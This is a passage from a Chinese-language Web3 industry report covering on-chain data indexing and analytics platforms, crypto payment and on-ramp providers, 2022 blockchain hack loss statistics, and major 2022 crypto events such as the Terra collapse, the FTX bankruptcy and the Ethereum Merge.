The Graph 是一个去中心化的链上数据索引协议， 通过借助于 GraphQL API，用户可以通过 subgraph （子图）直接访问获得信息。
而且 The Graph 是去中心化的，受到很多 DeFi 项目的支持。
其也提供一些列成型的 subgraph （类似于 Dune Analytics 用户的 query 或者 dashboard），供代码能力一般的用户直接使用。
数据查询的流程遵循以下步骤 :
1．Dapp 通过智能合约上的交易将数据添加到以太坊。
2．Graph Node 持续扫描以太坊的新块和它们可能包含的子图数据。
3．Graph Node 在这些块中为子图查找以太坊事件，并运行映射处理程序。（映射是一个 WASM 模块，用于创建或更新 Graph Node 存储的数据实体，以响应以太坊事件。）
4．去中心化的应用程序使用节点的 GraphQL 端点向 Graph Node 查询从区块链索引的数据。Graph Node 反过来将 GraphQL 查询转换为对其底层数据存储的查询，以便获取该数据，并利用存储的索引功能。
5．Dapp 将这些数据显示在终端用户的前端中。用户通过前端进行交易活动。
支持的链：Ethereum、NEAR、Arbitrum、Optimism、Polygon、Avalanche、Celo、Fantom、Moonbeam、Arweave 等。
Token：市值 7.6 亿，总市值 11 亿（2022 年 9 月 14 日 21:16:53）
GRT 鼓励多方参与这个网络，涉及到委托人（Delegator）、索引者（Indexer）、策展人（Curator）、开发者（Developer）等四类。简要而言就是用户提出查询需求，索引者运行 The Graph 节点，委托人向索引者质押 GRT 代币，策展人使用 GRT 来指引哪类子图有查询价值。
类似项目：Polkadot 上的 SubQuery ，同样使用 graphQL 语言，其代币经济学也与 The Graph 相类似。
SubQuery 系统中有三类角色：消费者、索引这和委托人。
消费者发布任务，索引这提供数据，委托将空闲的 SQT 代币委托给索引者，激励他们更多的诚实参与工作。
Covalent - 跨链达人
Covalent 提供了一个数据查询层，让工程师可以快速的以 API 的形式调用数据。一个简单的 API 就可以解决所有 Covalent 支持的链的数据。
Covalent 的数据集比较完备，可以多链多项目的一起查询，不需要很强的 coding 基础。
Covalent 有两类 endpoints，一类是区块链全体数据类型，如余额、交易、日志类型等；另一类是对某一个协议的 endpoint，如查询 AAVE 的日志。
亮点：跨链查询，不想需要重新建立类似子图的索引，二是通过改变 chain ID 就可以实现，query 的可扩展性大大增强了。
支持的链：Ethereum、BNB Chain、Avalanche、Ronin、Fantom、Moonbeam、Klayth、HECO、SHIDEN 及主流 Layer2 网络。
Token:市值 17.5M,总市值 68.9M。（2022 年 9 月 14 日 21:18:41）
CQT 持有者可以用来抵押、投票（上新）。

3. 其他基础设施服务商

Chainalysis - 链上 FBI
被称为“链上 FBI”的 Chainalysis 成立于 2014 年，是一个企业数据解决方案公司，通过链上数据监控和分析，以帮助政府、加密货币交易所、国际执法机构、银行等客户遵守合规要求，评估风险，并识别非法活动。
它拥有 70 个国家和地区的 750 多个客户，其中有 150 个客户能贡献 10 万美元以上的 ARR。
许多人对 Chainalysis 的印象是“做政府生意”，但是它的私营企业收入从 2019 年开始就占到 40% 以上，已经变成了交易所、稳定币发行商、NFT 交易平台乃至 Crypto-Friendly 银行等客户的合规必备品。
Chainalysis 的 ARR 过去几年保持 YoY 翻番，NDR 一度达到 140%，毛利率超过 80%，符合典型的高增长 SaaS 公司特征。
它已经不满足于停留在合规和风控场景，在 2021 年推出多款 BI 类型数据产品，试图进入客户日常经营的业务环节中。
融资：2022 年 5 月，Chainalysis 宣布完成了 GIC 领投的 1.7 亿美元 F 轮融资，估值达到 86 亿美元。Chainalysis 自成立以来完成了 10 轮融资，共筹集了超过 5.36 亿美元的资金。
Galxe （原 Project Galaxy） - 凭证数据
Project Galaxy 旨在构建基础设施，以支持开放和协作的凭证数据网络，帮助 Web3 开发人员利用凭证数据来构建更好的产品和社区。
作为一个开放的凭证数据网络，它以发放「凭证」的方式为每个地址打上标签，从而实现明确、细分的用户画像标识，如“Uniswap 交易员”、“OpenSea 交易员”等等。
Project Galaxy 允许每个开发者使用定制的链上数据创建、分发和游戏化 NFT。
开发者可以建立自己的忠诚度计划，个人可以发行和申领由他们在链上的成就支持的 NFT。
Project Galaxy 通过链上、链下两个维度多个数据源搜集凭证数据，进行网络管理。对于链上凭证，策展人可以提供子图查询或静态快照。
在链下，则已与 Snapshot.org、Twitter 和 Github 等数据源集成。通过这些凭证数据，Project Galaxy 构建了一个基于 Web3 DID（Decentralized ID 去中心化身份）系统 ， Galaxy ID 它标识了用户在 Project Galaxy 中的身份， 且可以展示与地址相关的用户足迹和行为。
截至 2022 年 5 月，已有 100 多个合作伙伴在 Project Galaxy 上发起了 500 多个活动，覆盖了 300 万的地址数。
Token：市值：$89,546,214，总市值 $505,849,968（2022 年 9 月 15 日 22:49:31）开发人员需要使用应用程序模块以及 Galaxy 凭证数据时，以 GAL 作为费用进行支付。
大部分费用将归策展人所有，其余部分费用则会收取到社区金库中。开发人员需要通过 Galaxy Oracle Engine 和 Galaxy Credential API 查询我们的凭证数据时，也需要用 GAL 付费。
支持的链：Ethereum、Polygon、Fantom、Solana、BNB Chain、Arbitrum 和 Avalanche 等七条公链。
RSS3 - 社交内容数据
RSS3 是衍生于 RSS 协议的下一代数据索引和分发协议，它允许用户基于地址生成 RSS3 文件，并将自己的 Twitter、Mirror、即刻等社交平台关联进该文件，文件会实时同步用户的资产、内容和行为数据（交易、点赞和转发等），同时将这些信息储存在 RSS3 的去中心化网络中。
开发者可以在用户允许的情况下，通过不同的 API 接口调取用户在不同平台上发布的内容，并根据应用特性筛选展示不同的信息。
Token：市值 $45,903,243，总市值 $135,252,773（2022 年 9 月 15 日 22:50:58）

4. 数据分析工具

Dune Analytics
Dune Analytics 既是一个索引服务商也是一个数据分析平台柜台，它先把区块链上的数据（主要是以太坊）进行解析，然后填充到数据库中，变成一个 PostgreSQQL（V1） 的数据库。
用户无需写脚本，只要会使用简单的 SQL 语句就可以进行查询。Dune 起了一层将数据进行解析和格式化的作用，还提供了可视化工具。
以太坊是键值数据库，Dune 把它变成一个关系型数据库，SQL 语句就是关系型数据库的接口。

Dune 提供的数据表有：

1. 原始交易数据，提供区块链上所有活动的详细记录

2. 项目级数据表，返回预处理后数据，用于解码的项目

3. 聚合型数据表，一种更高级的表，返回相关行业 / 主题的聚合数据。

4. 社区：与选定的组织合作以获取链下数据

5. 价格：来自第三方数据提供商的价格

6. 用户生成：在我们的数据库中构建您自己的视图、函数或表

支持的链：Ethereum, BSC, Optimism, Polygon, Gnosis Chain, Solana 共计 6 条区块链的链上数据,数据延迟大约五分钟.
融资：2022 年 2 月 2 日，总部位于挪威奥斯陆的区块链分析公司 Dune Analytics 宣布完成了一笔 69,420,000 美元的 B 轮融资，估值达到 10 亿美元，正式跻身独角兽俱乐部。本轮融资的领投方是 Coatue，参投方包括 Multicoin Capital 和 Dragonfly Capital 等此前曾投资过该公司的机构。
Flipside Crypto
Flipside 与 Dune Analytics 一样，也是通过可视化的工具以及自动生成的 API 借口，让用户能够通过简单的 SQL 语句进行复杂数据的查询，也可以复制和编辑别人已经生成的 SQL 查询。
支持的链：Ethereum, Solana, Terra, Algorand 等公链网络。
融资：2022 年 4 月 19 日，区块链数据分析公司 Flipside Crypto 宣布完成 5000 万美元融资，Republic Capital 领投，True Ventures、Galaxy Digital、Terra、Dapper Labs、M13、Blockchain Coinvestors、Collab Currency、Hashkey、Avon Ventures（隶属于 Fidelity Investments 的风险投资基金）、Lightshed、Resolute、Boston Seed、Converge、Hutt Capital、Gaingels、Commerce Ventures、Quiet、Tribe Capital 等参投。
Footprint Analytics
Footprint 是一个综合型的数据分析平台，用于发现和可视化区块链数据，现已涵盖 17 条链及 10 万种代币的价格、500 种 DeFi 协议和 1000 多个 GameFi 项目。
相较于 Nansen 低使用门槛但仅提供标准化信息界面，Dune Analytics 提供了自由查询但又要求分析师具备编写 PostgreSQL 语言的能力，Footprint Analytics 为用户提供了两全其美的解决方案，在给予极大的查询自由度的同时降低了使用门槛。
平台上提供丰富的数据分析模板，支持一键分叉，帮助用户轻松创建和管理个性化的仪表板，同时 Footprint 也有对链上其他钱包地址及其活动的标记，用户可以通过维度丰富的指标来进行投资决策。
支持的链：Ethereum，Arbitrum，Avalanche，Boba，BSC，Celo，Fantom，Harmony，IOTEX，Moonbeam，Moonriver，Polygon，Thundercore，Solana 等共计 17 条区块链的链上数据,数据延迟为一天。
融资：2022 年 5 月 26 日消息，据官方推特，总部位于新加坡的区块链分析平台 Footprint Analytics 宣布完成 265 万美元 Seed+ 轮融资，Matrix Partners 领投，Redpoint、A&T Capital、Hash Global、Waterdrip Capital、Lancer Capital 和 Dual Epoch Capital 跟投，在上一轮由 IOSG 牵头的融资之后，其种子轮总融资额达到 415 万美元。

5. 数据分析平台（侧重交易）

Nansen - 标签地址
Nansen 团队采用算法，人工调查，社区提交三种方法给地址做标记，现在支持共计 11 条区块链链上数据分析 ,已累计分析了 5 千万 + 的以太坊钱包地址和它们的活动，将链上数据与包含数百万个标签的数据库相结合，帮助用户更好地寻找信号和新的投资机会。
Nansen 普通版仅提供标准信息模板界面。针对机构客户对自定义链上数据查询和分析的需求，Nansen 借助 Google Cloud Platform 的 Blockchain Datasets 发布了 Nansen Institutions 产品，让专业 / 机构用户能够编写满足定制需求的 SQL Queries。
支持的链：Ethereum, Arbitrum, Avalanche, BSC, Celo, Fantom, Optimism, Polygon, Ronin, Terra, Solana。
融资：2021 年 12 月， Nansen 在 B 轮融资中筹集了 7500 万美元，公司估值为 7.5 亿美元。该轮融资由 Accel 领投，其他知名投资者还包括 GIC、Andreessen Horowitz 和 Tiger Global。
DeFiLlama - DeFi 专精
深耕 DeFi TVL 的数据分析平台，支持 107 个 Layer1 & Layer2 网络上的，近千个 DeFi 协议的 TVL，可以用不同的指标和时间维度分类对比、查看。
目前 DeFiLlama 也同样支持 NFT 的分析，关注不同链上不同交易市场的交易量和 Collections 种类。
Token Terminal - 传统金融指标
用传统的金融指标，比如 P/S 比率、P/E 比率和协议收入等分析 DeFi 项目。目前也支持对 NFT 交易市场的分析。
TokenTerminal 包含的指标参数：总市值、流通市值、市销率、市盈率、代币交易量、总锁定价值、商品总量、收入、协议（代币持有者）收入、成本和费用、收益等。
注：由于对加密资产的价值没有相对统一的评判标准，TokenTerminal 团队认为基于区块链的应用程序在概念上与传统市场相似，代币持有者相当于股东，团队为职业经理人，项目参与方（流动性提供者或旷工）为合作员工，基于合作共赢的方式，来评估代币的价值的一种方案。


第六章    支付

1
出入金支付各环节参与方 















workflow
对于刚要进入 Web3 行业的所有人来说，入金是第一站。
除了 OTC/P2P 入金方式之外，其他出入金过程都需要第三方支付机构的参与，它通过与上述传统支付同样的过程将用户的法币转移到流动性供应商这里。
而流动性供应商更像是传统第三方支付场景中的商家，将加密货币这种 “商品” 通过链上转移到用户的地址，同时为第三方支付机构保证加密货币流动性，这种供应商通常是中心化交易所或做市商。


2
目前全球范围内的出入金支付方式
一、中心化交易所
在一些国家地区获得牌照的中心化交易所会自己做出入金支付，用户可以通过借记卡/信用卡或银行转账直接购入加密货币。
大多数情况下中心化交易所会搭建 P2P 撮合平台，通过 P2P 的方式让用户给中心化交易所地址入金，也因此中心化交易所入金往往费率最低。
但在一些没有 P2P 交易习惯或被法律监管明令禁止的地区如欧美地区，中心化交易所需要接入独立出入金支付机构作为底层渠道来完成用户出入金的目的。
二、独立出入金支付机构
Moonpay 是独立出入金龙头项目，定位是 PayPal for Web3，用户用其入金的主要方式为信用卡、借记卡、ACH 转账和电汇，输入链上地址与币种金额后支付即可完成。
Moonpay 与 250+ 生态伙伴合作，持有 MSB 牌照支持 160+ 国家的当地运营是其最大优势，集成了 AML、KYC 等反欺诈能力满足监管要求，Coinbase 为其提供流动性供应，依靠齐全的出入金功能与先发优势带来的马太效应迅速占领了以信用卡使用为主的大部分欧美市场，撑起 35 亿美金估值。
另外有一些更直接的出入金支付产品，依靠更加简单直接 适应当地用户使用习惯的功能界面或技术上更精尖的单一模块赢得一席之地，比如 Rampay 仅做入金网关，为其他更大型的独立出入金项目提供接口作为组件之一，并通过他们提供流动性，同时支持散户通过 Rampay 连接信用卡或借记卡进行入金。
三、出入金聚合支付
与上述传统聚合支付一样，接入多家独立出入金支付机构接口，形成聚合平台，通过渠道路由向用户提供不同支付机构的报价引导用户购买加密货币并赚取佣金。
大多数聚合支付平台只做报价的中间商，本身不进行资金转移，因此不需要汇款许可牌照。
四、加密货币零售终端
支持用户在线下用现金直接购买加密货币，目前有两种方案，一种是加密货币 ATM 机，另一种是设在便利店里的加密零售终端。这种方式有以下几个特点：
  • 匿名性。入金小于一定数额时不需要 KYC
  • 多数零售终端只支持少数主流币如 BTC 和 ETH
  • 手续费率高 (5%~ 20%)。线下终端运营和维护费用高，难以降低成本
Bitcoin Depot 是北美的加密货币 ATM 项目，在全北美与部分加拿大地区有超过 7000 个 ATM 机，与手机端的 Bitcoin Depot App 相连来完成现金入金的操作，同时也支持信用卡借记卡支付。
五、场外交易出入金
这种方式严格来说并非我们本文所讲的第三方支付，因为过程中并未涉及到第三方支付机构的参与。一般有两种模式：OTC (over the counter) 模式与 P2P (peer to peer) 模式。
OTC 模式中，交易双方分别为需要购买加密货币的用户和拥有做市商为其提供流动性的柜台，该柜台一般隶属于大型中心化交易所。柜台为用户提供报价并赚取优于报价的部分作为利润。
这种方式一般适用于大额交易用户，来消除交易滑点，避免流动性不足带来的亏损。
P2P 模式中，交易双方为相互有出入金需求的用户，双方报价达成一致即可进行链下的法币转账与链上的加密货币转账，一些平台如中心化交易所会提供托管来撮合 P2P 买卖并收取很低的服务费率。
除此之外，还有一些中心化交易所和支付机构与金融发卡行合作发行的借记卡与信用卡，也有出入金的功能，但多数场景下并非应用于出入金而是加密货币支付，我们将于下一部分谈到。
至于上述多种出入金支付方式如何选择，原则是越少中间商赚差价则越便宜，因此对于普通散户来说应优先选择 P2P，但同时也要注意对方报价的高低以及对方欺诈的风险。


3
Web3支付玩家竞争格局

一、加密交易所开展支付业务

交易所一般采用与中心化金融体系合作发行信用卡的形式开展支付业务。

Coinbase、Binance、Crypto.com 这几家龙头交易所均在 2020 年前后开展了支付业务，与 Mastercard 或 Visa 合作发行加密货币信用卡，支持拥有加密货币资产的用户在全球范围内使用信用卡消费。

但由于各国家地区法律监管与牌照限制，这些交易所仅能在部分地区发行信用卡 ，给了许多国家地区的独立出入金项目开展同样业务的机会。

二、传统支付巨头切入加密支付

随着加密行业的兴起与发展，传统支付巨头在近几年开始切入加密支付业务，以加密货币出入金业务为主，且大多提供技术服务。

比如 Stripe 利用自身原有的支付网络优势，增加购买加密货币的业务，为交易所等提供出入金支付 API 接口。

传统支付巨头容易利用自身成熟的支付系统快速提供出入金技术服务，而对于做加密货币支付，由于缺乏区块链相关技术积累与 Crypto 行业理解，与 Web3 原生支付产品相比优势有限，但利用其基础用户量的优势，与中心化交易所等 Crypto Native 的机构合作，能快速切入加密货币支付领域。

比如近期 Circle 与 Applepay 合作，为商家提供加密货币支付 API 接口，让 Applepay 快速打入加密货币支付市场。

三、原生 Web3 支付玩家

不同于加密交易所和传统支付巨头在近几年从主营业务切入支付，一些原生加密支付玩家很早开始入局，致力于解决加密货币出入金与现实场景支付的问题。

BitPay 是 2011 年便开始的加密支付巨头之一，提供完整的出入金方案，并为商家提供比特币支付解决方案，但由于加密货币在早些年普及率不高，截止 2018 年，Bitpay 仅入驻 6w 商家，而随着近几年加密货币用户快速增长，截止去年的最新数据，Bitpay 已入住 12w 商家实现翻倍增长。

同时大量 Web3 支付原生玩家也在近几年涌现，独立出入金项目 MoonPay 成立于 2019 年，三年时间以 35 亿美元估值成为独立出入金支付巨头。

相比于传统支付巨头，原生支付项目往往有更加 Web3 的玩法。

多数支付公司都发行了 Token，比如 Alchemy Pay 发行代币 ACH，WeldPay 发行代币 Weld 作为其支付用户的奖励，用户使用其加密信用卡付款时能获得代币返现，但这种模式容易造成欺诈用户刷量套现，加密支付项目的代币模型还值得深入研究。
但值得一提的是，加密支付产品有较硬的应用场景支撑，用户往往有更强共识来支撑代币价值。
一些 Web3 支付机构如 MoonPay、Nuvei 支持通过信用卡/借记卡直接购买 NFT 以简化 NFT 购买流程，其本质与法币入金购买加密货币无太多区别。
另外一些支付机构有不同玩法，比如 Weld 发行 NFT 并将其作为加密信用卡的皮肤封面。
上述所谈出入金支付与加密货币支付两种方向所涉及的项目一般被统称为加密支付项目，目前多数 Web3 支付公司主要业务只覆盖其中之一。
而整个 Web3 支付赛道还尚处早期，从出入金支付来看，全球加密货币用户在 2021 年 12 月达到 2.95 亿用户，且在一年期间实现翻倍增长，而独立出入金龙头项目 MoonPay 验证用户 700w，仅占市场总量 2%，估值达到 35 亿美元，表明出入金支付赛道远未达到饱和，还没有真正的巨头出来。
未来随着加密货币普及使用率越来越高，法币与加密货币的交互转换会越来越频繁且自然，最终可能会变为像不同币种间换汇，加密支付项目也会将出入金与加密货币支付做的更加融合。结合支付应用场景与上述加密支付技术应用。


第七章    安全与匿名

1
区块链黑客事件统计
2022 年全年，Beosin EagleEye 安全风险监控、预警与阻断平台共监测到 Web3 领域主要攻击事件超 167 起，因各类攻击造成的总损失达到了 36 亿 384 万美元，较 2021 年攻击类损失增加了 47.4%。
其中单次损失超过一亿美元的安全事件共 10 起，1000 万至一亿美元的安全事件共 21 起。 

从项目类型来看，12 次跨链桥安全事件共造成了约 18.9 亿美元损失，居所有项目类型损失的第一位。
DeFi 类型项目被攻击了 113 次，约为 67.6%，是被攻击频次最高的项目类型。
2022 年共有 20 条公链发生过重要安全事件，按损失金额排名前三的分别是 Ethereum、BNB Chain、Solana；按攻击事件次数排名前三的分别是 BNB Chain、Ethereum、Solana。
漏洞利用为全年频率最高、且损失最多的攻击方式。2022 年全年涉及漏洞利用的攻击事件有 87 起，总损失达到了 14.58 亿美元。
在 2022 年监测到的 167 次主要攻击事件里，经过审计与未经审计的项目几乎各占一半，比例分别为 51.5% 和 48.5%。
2022 年约有 13.96 亿美元的被盗资金转入了 Tornado Cash，占所有攻击事件损失资金的 38.7%。全年约有 2.89 亿美元的被盗资金得以追回，仅占所有损失的 8%。 

全年区块链领域犯罪金额达到了 137 亿 6074 美元（金融犯罪暂不计入）。其中洗钱类占 73.3 亿美元，攻击事件 36 亿美元，传销类 10.15 亿美元，诈骗类 8.3 亿美元。全年诈骗类事件中，包括 Rug pull 事件 243 起，总涉及金额达到了 4.25 亿美元（FTX 事件暂不计入）。约 86.4% 的项目跑路金额集中在几千至几十万美元区间。

2022 全球加密货币市场市值大幅缩水，年底 TVL 较年初高峰时期下降了约 80%。市场遭受重创，出现了以三箭资本、Luna、FTX 为代表的一系列黑天鹅事件。

在全球市值大幅缩水的情况下，2022 年区块链安全领域总体犯罪数据仍然达到了 137 亿美元，攻击事件更是较 2021 年大幅增加。
2022 年全球区块链安全态势总体十分严峻，对 2023 年的安全行业也提出了更高、更迫切的需求。
如何应对猖獗的黑客攻击、如何加快建立全球监管体系、如何迎来技术突破解决已有的安全行业弊端，这些都将是 2023 年需要重点思考和迫切解决的问题。


2
被攻击项目类型
2022 年，12 次跨链桥安全事件共造成了约 18.9 亿美元损失，居所有项目类型损失的第一位。
跨链桥安全事件里，单次损失超过 1 亿美元的事件就发生了 5 起，分别是 Ronin（6.24 亿美元）、BSC Token Hub（5.6 亿美元）、Wormhole（3.26 亿美元）、Nomad（1.9 亿美元）和 Harmony（1 亿美元）事件，其攻击手法主要包括社会工程学、私钥泄露、链平台或合约漏洞等。

 

全年 167 次主要攻击事件里，DeFi 类型项目被攻击了 113 次，约为 67.6%，是被攻击频次最高的项目类型。
DeFi 是继跨链桥之后损失排名第二的项目类型，总计损失约 9.5 亿美元。全年共发生交易所、钱包安全事件共 21 起，共损失金额约 6 亿美元。
此类事件涉及金额高、波及用户广，其攻击手法主要是私钥泄露、合约漏洞、供应链攻击。


3
各链损失
 


2022 年共有 20 条公链发生过主要安全事件，按损失金额排名前三的分别是 Ethereum、BNB Chain、Solana；按攻击事件次数排名前三的分别是 BNB Chain、Ethereum、Solana。
59 次 Ethereum 上的攻击事件造成了 20.1 亿美元的损失，占到了全年总损失的 55.8%。


BNB Chain 上的攻击事件达到了 72 次，70% 的项目损失金额集中在几千至几十万美元区间。
值得注意的是，BNB Chain 上遭受攻击的项目约 64% 都未经审计，且未经审计的项目中攻击手法 80% 都是合约漏洞利用。
7 次 Solana 链上的攻击事件共造成了 5 亿 1276 万美元的损失，单个事件平均损失居各链第一位。
Solana 链上的重大安全事件包括 2 月的 Wormhole 事件（3.26 亿美元）、3 月的 Cashio 事件（4800 万美元）和 10 月的 Mango Market 事件（1.16 亿美元）。


4
攻击手法分析

漏洞利用为全年频率最高、且损失最多的攻击方式。2022 年全年涉及漏洞利用的攻击事件有 87 起，总损失达到了 14.58 亿美元。
损失金额排名第二的攻击方式为社会工程学，也就是 3 月的 Ronin 事件，损失金额达到了 6.24 亿美元。

损失金额排名第三的攻击方式为私钥泄露，19 次私钥泄露共造成损失约 4.3 亿美元，其中有 8 起事件单次损失金额都在 1000 万美元以上。
根据部分事件的调查结果来看，团队成员/前成员盗取私钥的情况频发，项目方需要格外注意运营安全，加强团队管理。
还有部分因使用第三方工具导致私钥泄露的情况。按照漏洞类型细分，造成损失最多的前三名分别是验证问题、链平台漏洞（BNB Chain 事件）和业务逻辑/函数设计不当。
18 次验证问题造成了 6.19 亿美元的损失，主要事件包括：Wormhole 事件中的签名验证漏洞、Nomad bridge 事件中的消息验证绕过等。


5
被盗资金流向 

2022 年约有 13.96 亿美元的被盗资金转入了 Tornado Cash，占所有攻击事件损失资金的 38.7%。
自 8 月 Tornado Cash 受到美国 OFAC 制裁后，转入 Tornado Cash 的资金较上半年大幅下降。
第四季度仅有 4485 万美元的资金转入了 Tornado Cash。全年约有 2.89 亿美元的被盗资金得以追回，仅占所有损失的 8%。
其中绝大部分来自白帽黑客主动返还。约有 1824.8 万美元的被盗资金流入了各类交易所。通常一些涉案金额较少的黑客会在攻击后立刻将资金转入交易所。
对交易所而言，能在攻击发生的及时识别黑客地址并阻止其交易尤为重要。约有 4.43 亿美元的被盗资金被交易所冻结，其主要金额来源于 10 月的 BNB Chain 事件，当时币安立即冻结了黑客 80% 至 90% 的资金，实际损失在 1 亿美元左右。


第八章    2022年度加密行业十大事件

1
Terra崩盘
Terra的崩盘可以说是2022年甚至整个行业有史以来最恶劣的事件之一。Terra曾在全币圈红遍一时，跻身十大加密资产。
它的崩盘使得许多投资者血本无归，也为本来已踏入熊市的加密货币市场雪上加霜。
创立于2018年，Terra是透过「稳定币」UST 和「治理代币」Luna 的双币机制而建立的支付区块链。
在2022年初，Terra的创办人Do Kwan推出了名为Anchor的协议：只要将UST存进去，就可以获得20％的年化收益。
因此LUNA吸引了很多投资者，其去中心化的特点也获得了币圈的宠爱。
Anchor协议推出后，市面上多数的UST都被存进协议上，在UST崩盘前，有将近75％的UST（多达14B）都是存在Anchor协议上，许多投资者甚至抵押其他加密货币资产借UST去赚取20%的年化收益。
因为UST的需求越来越庞大，LUNA的价格也随着攀升突破100美元。在顶峰时期，UST发行量超过150亿，成为币圈最大的去中心化算法稳定币。
在2022年5月，Terra在curve里面的UST资金池因为有用户大幅抛售而失去了平衡，UST因此脱锚，价格一路下降。
面对UST的失衡，Do Kwan动用LFG团队基金出售80,000枚BTC大量购回UST。可惜市场已对Terra失去信心，其他用户们纷纷抛售UST。
Terra的算法同时令LUNA大量增发，LUNA & UST因此进入死亡螺旋。Terra链上的交易者无法跟上大规模抛售，因此崩盘是无可避免的。
Terra的崩盘对市场造成巨大损失，UST的价格在几天内跌至 $0.2，而LUNA的价格也归零，Terra Network市值蒸发了400亿美元，许多投资者损失严重。
除此之外，LFG 出售的80,000枚比特币也对市场造成巨大冲击，比特币价格下跌也导致整体市场面临更严峻的熊市。


2
三箭资本破产
三箭资本（Three Arrows Capital）是由创始人Su Zhu和Kyle Davies于2012年创立的加密货币对冲基金。
三箭资本以其高杠杆押注而闻名，从不同的公司借入了大量资金，并投资于许多不同的数字资产项目。
在2022年3月，其资产管理规模曾达到100亿美元，投资组合包括Avalanche、Solana、Polkadot和Terra等代币。
三箭资本无疑是币圈内的投资巨头。
Terra崩盘之后， 随即有消息流传指三箭资本面临流动性问题，也有消息指该公司疑似挪用客户资金。
在2022年6月14日，Su Zhu 删除了社交媒体Twitter账号简介中包括以太坊等数字货币标签，并在Twitter上发布推文：“我们正在与有关方面进行沟通，并完全致力于解决这个问题。”不过，Su Zhu并未明确所回应该“问题”的具体内容。
随后一星期，数字资产经纪公司Voyager Digital表示，已经向三箭资本出借15,250个比特币和3.5亿美元的稳定币USDC。
按当时的价格计算，贷款总额超过6.75亿美元。Voyager Digital公司要求三箭资本在6月27日前偿还全部未结清贷款，否则将面临违约。三箭资本结果是没有偿还该贷款，Voyager 随即从法律途径向三箭资本寻求赔偿。
事情曝光后, 其他三箭资本的借贷人纷纷要求三箭资本偿还贷款， 包括Genesis Global Trading BlockFi，BitMex，FTX，及Blockchain等等。
三箭资本被迫出售其资产，更一度在curve上的stETH/ETH池大幅抛售8万枚stETH (超过 8400 万美元), 导致stETH脱锚 (stETH曾经一脱锚到0.94ETH)。
三箭资本在币圈打开了一个资金敞口，其影响深远。可是由于缺乏透明度，没有人知道谁对他们持有敞口， 随着越来越多机构披露三箭资本的坏帐，整个行业引发恐慌，资金不断撤出，加密行业进入“雷曼时刻”。


3
FTX暴雷
今年11月FTX由于用户挤兑导致流动性枯竭且资不抵债，最终宣布破产。这可以说是本轮熊市以来第一大风险事件，其影响广泛而深远。
FTX成立于2019年，和其姊妹公司Alameda共同为Sam Bankman-Fried创立。
在成立之后直到暴雷之前的短短三年时间，FTX已经成为一个市值240亿美元，行业排名第二的中心化交易所，其创始人SBF的个人资产也达到了156亿美元。但一周之内，这些资产全部化为泡影。
事情的根本原因是FTX作为中心化交易所，持有大量用户资产。
而其姊妹公司Alameda由于业务需要大量资金，因此其以所持有的FTT和SOL等代币作为抵押，从FTX借出用户资金。
这样一来FTX的用户资产虽然从账面价值看变化不大，但已经从包含大量稳定币和BTC的资产转变为持有大量FTT和SOL等代币，资产同质化严重且波动性高。
事情的导火索来自于Coindesk发现了FTX资产负债表上的问题并发表了分析文章做出警示。
之后币安创始人CZ以此为由宣布为规避风险将卖出持有的FTT，从而引发市场恐慌，导致FTT价格暴跌，从而使得FTX资产端大幅缩水，并引发用户挤兑浪潮。
最终FTX因为用户挤兑导致流动性枯竭，且持有的FTT和SOL等资产大幅下跌导致资不抵债，最终宣布破产。
FTX的破产直接引发了行业地震并导致市场崩盘。作为行业领导者之一，FTX和Alameda参与了众多项目的投资，尤其在今年熊市期间，他们更是多次出手救助陷入危机的业内公司，树立了币圈央妈的形象。
据不完全统计，FTX参与直投的项目超过了110个，部分如下表：

除此之外，其他与FTX有业务往来的项目如bitDao和MIM，以及投资公司如红杉资本和淡马锡等纷纷遭受了代币暴跌和相关投资资产减记等损失。
可以说此次FTX破产事件其影响之深远，造成的损失之大不是Luna、3AC等事件可以比拟，堪称真正的币圈雷曼事件。
除了市场下跌和相关公司及项目遭受损失之外，本次事件还对整个行业生态造成了严重的影响。
最直接的影响是中心化交易所遭遇到了信任危机。自事件爆发后，各大交易所都面临提币压力，显示出当前用户在恐慌情绪影响下对中心化交易所的巨大不信任。
面临这种局面，各大交易所纷纷采取措施自救，如进行储备资产披露，呼吁建立行业规范和行业复苏基金等。
但从长远来看，本次事件对整个行业生态将带来深远的影响：用户对中心化机构失去信任及对去中心化的呼声增加可能导致去中心化项目的再次发展；监管必然将进一步增强，合规牌照的获取难度和成本都会进一步升高；各个项目或机构在本次事件后的信息透明度都将大幅提高；事件可能导致用户对整个加密货币行业的信心动摇，使得行情下跌的同时低迷时间大幅延长等等。
尽管如此，我们相信不破不立，每次事件的爆发都是刮骨疗毒，每次行情的下跌都是机会。随着事件的逐步平息，在经历阵痛之后行业依然会逐步走向好的方向。


4
美联储大幅加息
下图为美国自1980年以来的通胀率和基准利率数据：


从上图可以看出，当前美国的通胀率已经到达了1980年以来的最高水平，而基准利率也在8个月的时间内到达2008年以来的最高水平，且预计在明年二季度以前还会继续加息。
在这样的背景下，全球各个国家和各个行业都感受到了金融寒冬的冷意，下表为各大类资产在2022年的涨跌幅。

从上表可以看出，在美联储大幅加息的背景下，全球大类资产都受到了巨大影响：除大宗商品受到除美国货币政策之外的因素影响而上涨外，不管是全球股市，各国货币还是国债都出现了大幅下跌。
其中代表短期资金成本的2年期美债和以科技股为主的纳指跌幅相对更大。在这种情况下，加密货币行业也难以避免。
更有甚者，加密货币行业由于自身特点，存在杠杆率相比传统行业偏高的现象，在全球资金收紧的情况下，去杠杆的过程也相对更加暴力和剧烈，如terra崩盘和三箭资本破产等年度重大事件，它们的发生虽然有各自不同的直接原因，但根本原因都是受到全球货币紧缩的大环境而产生的现金流问题。
因此在若干年后，如果要分析2022年加密行业的重大事件之时，以美联储加息为代表的全球流动性紧缩是分析很多问题的根本。


5
以太坊合并
2022年9月15日，万众瞩目的以太坊合并顺利完成，标志着以太坊主网的共识机制正式从工作量证明（PoW）切换到了权益证明（PoS）。
作为世界级计算机，以太坊自诞生起便一直使用工作量证明共识机制来保证系统的安全，各种交易、智能合约、账户等复杂功能也都是运行在这一核心机制之上。
随着以太坊上生态应用的不断繁荣，当前的基础架构对系统扩展性提出挑战，PoW的局限性严重限制了以太坊的未来发展。为解决可扩展性问题，团队给出了一系列网络升级方案。
合并是该系列中的第二次网络升级，它将生态中现有的两条独立区块链以太坊主网与信标链相结合，在保留原有执行智能合约的功能和完整的历史数据及用户状态的同时实现共识机制的切换。

合并后，以太坊在区块结构、网络结构、共识机制和节点类型上均出现相应变化。
新区块可以视为信标区块与原PoW块的组合，其中与PoW共识相关的区块字段会相应的修改为0或常数；网络结构将采用“共识层+执行层”的架构，由共识层协调和指挥执行层生成和同步区块；合并后，以太坊节点种类会更加丰富。
